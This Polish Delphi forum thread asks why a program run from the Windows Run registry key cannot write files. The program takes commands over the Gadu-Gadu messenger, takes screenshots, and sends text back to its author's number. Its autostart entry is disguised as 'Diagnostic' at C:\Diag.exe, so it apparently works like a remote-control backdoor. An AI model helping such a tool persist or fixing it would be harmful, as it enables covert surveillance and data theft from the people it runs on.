Jump to content

[Delphi]Start z Systemem


Davai

Recommended Posts

Witam mam dość dziwny problem. Zrobiłem Program który odbiera komendy przez gg i wykonuje akcje. Gdy odpale program sam to wszystkie funkcje działają tak jak powinny, Natomiast gdy program odpali się poprzez klucz w rejestrze to już w programie nie działają operacje na plikach zewętrznych. Np. zrzut ekranu lub zwykłe zapisywanie zawartości memo do pliku txt.

Próbowałem na inne sposoby ale bez skutków zawsze to samo.

  • kasowanie plików przed zapisaniem
  • inny program z kluczem odpala ten główny program
Nic nie pomaga

Umie ktoś to wyjaśnić?

Klucz rejestru

 procedure TForm1.FormCreate(Sender: TObject);
var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
try
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true );
Reg.WriteString('Diagnostic', 'C:\Diag.exe');
finally
Reg.CloseKey;
Reg.Free;
end;
end;

Link to comment
Share on other sites

Nie ma żadnych błędów niestety;/

nic nie wyskakuje.

Może tak

 

 
procedure TForm1.Memo3Change(Sender: TObject);
begin
if Memo3.Lines[0]='deletescreen' then if FileExists('screen.jpg') then DeleteFile('screen.jpg');//TA FUNKCJA NIE ZADZIAŁA JAK BEDZIE START Z REJESTRU
 if Memo3.Lines[0]='createlog' then if not FileExists('logosik.txt') then Memo2.Lines.SaveToFile('logosik.txt');//TEZ NIE DZIAŁA
 if Memo3.Lines[0]='lookmemo' then hgg1.SendMessage((MÓJNUMERGG),memo1.text,[]);//TO DZIAŁA ZAWSZE
end;

Link to comment
Share on other sites

Zgaduje, po wywołaniu z Rejestru program nie potrafi określić prawidłowo

ścieżki katalogu roboczegho. Może pomoże jak dodasz zmienną - w takim

stylu jak podałem poniżej i wtedy będzie zapisywać do swojego katalogu.

 AppPath := ExtractFilePath(Application.ExeName);

Pozdrawiam: olesio

Link to comment
Share on other sites

Zgaduje, po wywołaniu z Rejestru program nie potrafi określić prawidłowo

ścieżki katalogu roboczegho. Może pomoże jak dodasz zmienną - w takim

stylu jak podałem poniżej i wtedy będzie zapisywać do swojego katalogu.

 AppPath := ExtractFilePath(Application.ExeName);

 

Hm bardzo możliwe , tylko nie wiem gdzie dokleić ten kod

googluje już długo ten temat i nic nie mogę znaleźć

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...